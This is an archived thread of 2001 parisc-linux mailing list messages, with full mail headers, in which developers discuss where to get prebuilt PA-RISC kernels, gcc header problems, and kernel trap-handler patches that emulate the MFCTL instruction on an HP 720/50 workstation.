NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 15:29:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5526749FC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 15:29:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 6619C1F89B; Fri, 28 Sep 2001 17:27:50 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 44B9D37C8D; Fri, 28 Sep 2001 15:29:46 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Neulinger, Nathan" <nneul@umr.edu> 
   of "Fri, 28 Sep 2001 15:37:57 CDT." <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:12359

"Neulinger, Nathan" writes...

> Is there any convenient place to grab a 2.4.9 (or more recent) vmlinux for
> parisc-linux other than getting it myself out of cvs? (Don't have a
> functional build environment at the moment.)

The ones in
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels
are rather out of date. I'll try an build some next week if someone doesn't 
beat me to it.

> Also, what about a working gcc? I've apt-get upgrade'd everything, and gcc
> complains about lots of header file goofiness when compiling even a simple
> hello world program.

apt-get install libc6-dev

> Also, does the kernel build have to be done cross-compile, or can it be
> built on the parisc-linux machine itself?

The preferred way of building kernels is natively. However, if the only native 
box you have access is slow, then you'll probably still want to cross compile.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where to get recent parisc kernels w/o building?
Date: Sat, 29 Sep 2001 00:32:12 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20010929003212.B23750@dogbert.localdomain>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu> <20010928232355.A23750@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="aM3YZ0Iwxop3KEKx"
X-Trace: ger.gmane.org 1416620536 26657 80.91.229.3 (22 Nov 2014 01:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 16:33:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 587D24A04
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 16:33:04 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15n6Bo-0008I0-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 00:33:00 +0200
Original-Received: (qmail 17419 invoked from network); 28 Sep 2001 22:33:00 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 28 Sep 2001 22:33:00 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15n6B2-0006Jm-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 00:32:12 +0200
Content-Disposition: inline
In-Reply-To: <20010928232355.A23750@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15n6Bo-0008I0-00*/pXncbfYrYg* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12360

--aM3YZ0Iwxop3KEKx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I just spotted a note on my parisc-linux.org archive mentioning:

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/
or
http://puffin.external.hp.com/pub/parisc/binaries/kernels/

Enjoy!

On Fri, 28 Sep 2001, Albert Strasheim wrote:

> Hello,
>=20
> On Fri, 28 Sep 2001, Neulinger, Nathan wrote:
>=20
> > Is there any convenient place to grab a 2.4.9 (or more recent) vmlinux =
for
> > parisc-linux other than getting it myself out of cvs? (Don't have a
> > functional build environment at the moment.)
>=20
> I suggest grabbing palo-latest, linux-latest and xc-latest from
> ftp://puffin.external.hp.com (I can't get to it at the moment, but maybe
> you can). Unless you are very lucky, you're going to at least need to
> change the boot parameters, for which you need palo anyway. So grab 'em
> and set up a build environment if you're REALLY serious about your HP.
> :-)
> =20
> > Also, what about a working gcc? I've apt-get upgrade'd everything, and =
gcc
> > complains about lots of header file goofiness when compiling even a sim=
ple
> > hello world program.
>=20
> As far as I know, we're still missing a kernel-headers package for hppa.
> I could be wrong. Perhaps you should find the right person and complain
> about this. :-) I think a suggested solution was to force-install the
> sparc headers or something...
> =20
> > Also, does the kernel build have to be done cross-compile, or can it be
> > built on the parisc-linux machine itself?
>=20
> You can build it either way. I don't have a 2nd HP machine, so I have to
> cross-compile. It's actually pretty nice considering that I have access
> to a SMP p3-600 box. :-)
>=20
> Regards,
>=20
> Albert



--aM3YZ0Iwxop3KEKx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tPpsDg+hOeRZtkMRAmGpAJ9uvrM/4VVe/OwHUT0MFV85tzt/0gCgjczj
wK+kR4gwa+A1/JPsODzO9ww=
=U6xa
-----END PGP SIGNATURE-----

--aM3YZ0Iwxop3KEKx--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-atomic __set_bit
Date: Sat, 29 Sep 2001 02:09:15 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20010929020915.A24794@dogbert.localdomain>
References: <20010924021054.I3025@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="T4sUOijqQbZv57TR"
X-Trace: ger.gmane.org 1416620536 26660 80.91.229.3 (22 Nov 2014 01:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 18:10:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2E8B4879
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 18:10:07 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15n7hk-0003vb-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 02:10:04 +0200
Original-Received: (qmail 17514 invoked from network); 29 Sep 2001 00:10:03 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 00:10:03 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15n7gx-0006S1-00; Sat, 29 Sep 2001 02:09:15 +0200
Content-Disposition: inline
In-Reply-To: <20010924021054.I3025@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15n7hk-0003vb-00*5JmpPco8Uq2* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12361

--T4sUOijqQbZv57TR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Is this going into CVS any time soon? It seems to work fine on my
720/50.

Regards,

Albert

On Mon, 24 Sep 2001, Carlos O'Donell Jr. wrote:

> parisc,
>=20
> Walking the source for devfs and thinking about Alberts problem.
>=20
> Would the non-working devfs be fixed by adding:
>=20
> Non-atomic versions of set_bit e.g. __set_bit=20
> and test_and_set_bit e.g. __test_and_set_bit
> to linux/include/asm-parisc/bitops.h?
>=20
> I have the latest CVS linux module.
> I've patched against that. It compiles now ;)
> (god bless make -j8)
>=20
> I'm currently sleepy, but I'll post the patch, and test
> it tommorow on a 712/60 and 715/50.
>=20
> c.

<patch snipped>

--T4sUOijqQbZv57TR
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tRErDg+hOeRZtkMRAh14AJoCYnOZg2hKzUNRWOOhCjpoXhRCVQCfUtNq
xg3/iMGnvbb+mJJeSHLuygQ=
=bEJt
-----END PGP SIGNATURE-----

--T4sUOijqQbZv57TR--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 08:00:06 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <20010929080006.A25136@dogbert.localdomain>
References: <200109271442.KAA14125@mail.lokmail.net> <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="J/dobhs11T7y2rNN"
X-Trace: ger.gmane.org 1416620536 26662 80.91.229.3 (22 Nov 2014 01:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 00:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01C434A1B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 00:01:31 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nDBn-0001tw-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 08:01:27 +0200
Original-Received: (qmail 17932 invoked from network); 29 Sep 2001 06:01:27 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 06:01:27 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nDAW-0006Yv-00; Sat, 29 Sep 2001 08:00:08 +0200
Content-Disposition: inline
In-Reply-To: <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nDBn-0001tw-00*NoafVdIwz0k* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12362

--J/dobhs11T7y2rNN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,


On Fri, 28 Sep 2001, Matthew Wilcox wrote:

> On Thu, Sep 27, 2001 at 10:42:25AM -0400, Jurij Smakov wrote:
> > I hope I've got it right. It only emulates MFCTL and only when the
> > source control register is 27. It turns out, that pt_regs does not
> > have a member for cr26 and adding one does not look like an easy
> > task.=20
>=20
> I think the right way to do this would be...
>=20
> > @@ -363,6 +364,17 @@
> >                 si.si_code =3D ILL_PRVOPC;
> >                 goto give_sigill;
> >         case 11:
> > +               if(!(regs->iir & 0xfc000000) && (((regs->iir & 0x1fe0)>=
>5) =3D=3D 0x45)) {
> > +                 /* This is MFCTL instruction */
> > +                 fromcr =3D (regs->iir & 0x03e00000)>>21;
> > +                 togr =3D (regs->iir & 0x1f);
> > +                 /* Emulate the instruction if the read is from cr27 */
>=20
> 		if (fromcr =3D=3D 26 || fromcr =3D=3D 27) {
> 			regs->gr[togr] =3D mfctl(fromcr);
> 			return;
> 		}

Making this change causes the build to fail:

make[1]: Entering directory `/tmp/.hppa/linux/arch/parisc/kernel'
hppa-linux-gcc -D__KERNEL__ -I/tmp/.hppa/linux/include -Wall -Wstrict-proto=
types -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-com=
mon -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-=
calls -mdisable-fpregs -ffunction-sections -march=3D1.1 -mschedule=3D7100 -=
c -o traps.o traps.c
{standard input}: Assembler messages:
{standard input}:912: Error: Undefined absolute constant: 'fromcr'.
{standard input}:912: Error: Field out of range [0..31] (-1).
{standard input}:912: Error: Invalid operands
make[1]: *** [traps.o] Error 1
make[1]: Leaving directory `/tmp/.hppa/linux/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

What gives?
=20
> > +               }
> > +               /* Something else is wrong */
> >                 die_if_kernel("Privileged register - shouldn't happen!"=
, regs, code);
> >                 si.si_code =3D ILL_PRVREG;
> >         give_sigill:
>=20
> Can you give this a try?

Did. I don't think I messed it up. :-) Jurij's code compiles, so I'm
leaving it there for the moment and testing again.

Is your code functionally equivalent, or does it do something else
entirely?

Aside, I'm working on putting all the recent patches together into one
big fix720.diff.

Jochen suggested that in the case 11 handler, Jurij's

regs->gr[togr] =3D regs->cr27;

be replaced with

regs->iaoq[0] =3D regs->iaoq[1];
regs->iaoq[1] =3D regs->iaoq[0] + 4;

Is this right, or should I leave Jurij's code?

Regards,

Albert

--J/dobhs11T7y2rNN
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tWNmDg+hOeRZtkMRApycAJ9Z9XovtaLqVPR+6RSx4SnrtrBViwCgltoT
xJUdgwwulvB6vFB9QflJXYg=
=LVci
-----END PGP SIGNATURE-----

--J/dobhs11T7y2rNN--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 10:30:37 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20010929103037.D25136@dogbert.localdomain>
References: <200109271442.KAA14125@mail.lokmail.net> <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk> <20010929080006.A25136@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="2iBwrppp/7QCDedR"
X-Trace: ger.gmane.org 1416620537 26663 80.91.229.3 (22 Nov 2014 01:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 02:31:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81F104A2B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 02:31:33 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nFWw-0001fp-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 10:31:26 +0200
Original-Received: (qmail 18024 invoked from network); 29 Sep 2001 08:31:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 08:31:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nFW9-0006cQ-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 10:30:37 +0200
Content-Disposition: inline
In-Reply-To: <20010929080006.A25136@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nFWw-0001fp-00*wBs38.EH0aQ* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12363

--2iBwrppp/7QCDedR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

Some minor progress. I'm now netbooting a lifimage and then running my
programs from disk. The only problem is that I can't dpkg-reconfigure
the chroot I copied over to the disk after partially bootstrapping it
and nfsroot booting it because I can't install libterm-readline-gnu-perl
and related packages (currently the system seems to hang when I do a
dpkg -i libreadline4_4.2-5_hppa.deb. libc6 and a few others dpkg -i'd
fine though (running -pa22 with only the case 18: and without Jurij's
patches). I'm currently running -pa27+jurij (I had to manually apply his
2nd patch... it didn't like the traps.c I had).

Another question: shutdown doesn't seem to work? Is it because I am
running with init=/bin/sh (thus no init, and no runlevels to change), or
is something more sinister at work here? Is there some other way I can
"neatly" bring down my HP?

That's about it for now. I'm going to try booting a -pa27 without
jurij's fixes and with just the case fall-through.

Regards,

Albert

--2iBwrppp/7QCDedR
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tYatDg+hOeRZtkMRAgBlAJ9lS0A3NozdKsrp7HkeiUkNALDQeQCcCCFC
8ivxHbU+G6VuvKBRLOPa6JU=
=xCSU
-----END PGP SIGNATURE-----

--2iBwrppp/7QCDedR--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 12:01:42 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010929120142.A25512@dogbert.localdomain>
References: <200109271442.KAA14125@mail.lokmail.net> <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk> <20010929080006.A25136@dogbert.localdomain> <20010929103037.D25136@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="IS0zKkzwUGydFO0o"
X-Trace: ger.gmane.org 1416620537 26665 80.91.229.3 (22 Nov 2014 01:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 04:02:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCA864A2F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 04:02:38 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nGx8-0003IR-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 12:02:34 +0200
Original-Received: (qmail 18087 invoked from network); 29 Sep 2001 10:02:34 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 10:02:34 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nGwI-0006dp-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 12:01:42 +0200
Content-Disposition: inline
In-Reply-To: <20010929103037.D25136@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nGx8-0003IR-00*Oe/eQOnRjHc* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12364

--IS0zKkzwUGydFO0o
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Sat, 29 Sep 2001, Albert Strasheim wrote:

> Hello,
>=20
> Some minor progress. I'm now netbooting a lifimage and then running my
> programs from disk. The only problem is that I can't dpkg-reconfigure
> the chroot I copied over to the disk after partially bootstrapping it
> and nfsroot booting it because I can't install libterm-readline-gnu-perl
> and related packages (currently the system seems to hang when I do a
> dpkg -i libreadline4_4.2-5_hppa.deb. libc6 and a few others dpkg -i'd
> fine though (running -pa22 with only the case 18: and without Jurij's
> patches). I'm currently running -pa27+jurij (I had to manually apply his
> 2nd patch... it didn't like the traps.c I had).

Not much luck with this one either. dpkg has just been sitting there
for more than an hour now.

Could I persuade someone with a working HP to bootstrap a new nfsroot,
please?

You probably also need to add the following packages:

busybox-static_0.60.1-1_hppa.deb
libc6_2.2.3-9_hppa.deb
libdb2_2.7.7.0-1_hppa.deb
libgdbmg1_1.7.3-27_hppa.deb
libncurses5_5.2.20010318-3_hppa.deb
libperl5.6_5.6.1-5_hppa.deb
libreadline4_4.2-5_hppa.deb
libterm-readline-gnu-perl_1.10-1_hppa.deb
perl_5.6.1-5_hppa.deb
perl-base_5.6.1-5_hppa.deb
perl-modules_5.6.1-5_all.deb

I think that should leave you with a system the 720/50 people can work
from. :-)

Regards,

Albert

--IS0zKkzwUGydFO0o
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tZwFDg+hOeRZtkMRAmQFAKCHzxxaxn+qq7f/FzFSd6X+OpFYGQCeL06d
gd2aTZLlZCnMt01xOvdP2+8=
=frnO
-----END PGP SIGNATURE-----

--IS0zKkzwUGydFO0o--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 13:17:21 +0200 (CEST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109291313210.9243-100000@www2.scram.de>
References: <20010929080006.A25136@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620537 26666 80.91.229.3 (22 Nov 2014 01:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:17 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 05:18:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A7894A92
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 05:18:49 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8TBHMG22293;
	Sat, 29 Sep 2001 13:17:22 +0200 (CEST)
In-Reply-To: <20010929080006.A25136@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12365

Hi Albert,

On Sat, 29 Sep 2001, Albert Strasheim wrote:

> > 		if (fromcr == 26 || fromcr == 27) {
> > 			regs->gr[togr] = mfctl(fromcr);
> > 			return;
> > 		}
>
> Making this change causes the build to fail:

> {standard input}:912: Error: Undefined absolute constant: 'fromcr'.
> {standard input}:912: Error: Field out of range [0..31] (-1).
> {standard input}:912: Error: Invalid operands

> Jochen suggested that in the case 11 handler, Jurij's
>
> regs->gr[togr] = regs->cr27;
>
> be replaced with
>
> regs->iaoq[0] = regs->iaoq[1];
> regs->iaoq[1] = regs->iaoq[0] + 4;

Not replaced, but added:

 		if (fromcr == 26) {
 			regs->gr[togr] = mfctl(26);
			regs->iaoq[0] = regs->iaoq[1];
			regs->iaoq[1] = regs->iaoq[0] + 4;
 			return;
 		}
 		if (fromcr == 27) {
 			regs->gr[togr] = mfctl(27);
			regs->iaoq[0] = regs->iaoq[1];
			regs->iaoq[1] = regs->iaoq[0] + 4;
 			return;
 		}

These commands:

regs->iaoq[0] = regs->iaoq[1];
regs->iaoq[1] = regs->iaoq[0] + 4;

just advance the instruction counter of the PA-RISC CPU, so after
returning from the trap, the CPU will move on instead of retrying the
failed op-code (which will, of course, trap again causing an infinite
loop)

Cheers,
Jochen





From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 13:45:28 +0200
Lines: 317
Approved: news@gmane.org
Message-ID: <20010929134528.A25612@dogbert.localdomain>
References: <20010929080006.A25136@dogbert.localdomain> <Pine.NEB.4.33.0109291313210.9243-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="JYK4vJDZwFMowpUq"
X-Trace: ger.gmane.org 1416620538 26668 80.91.229.3 (22 Nov 2014 01:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 05:46:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10C4448A7
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 05:46:22 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nIZW-0006DE-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 13:46:18 +0200
Original-Received: (qmail 18198 invoked from network); 29 Sep 2001 11:46:17 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 11:46:17 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nIYj-0006h0-00; Sat, 29 Sep 2001 13:45:29 +0200
Content-Disposition: inline
In-Reply-To: <Pine.NEB.4.33.0109291313210.9243-100000@www2.scram.de>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nIZW-0006DE-00*hfQFC2NKNRk* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12366

--JYK4vJDZwFMowpUq
Content-Type: multipart/mixed; boundary="T4sUOijqQbZv57TR"
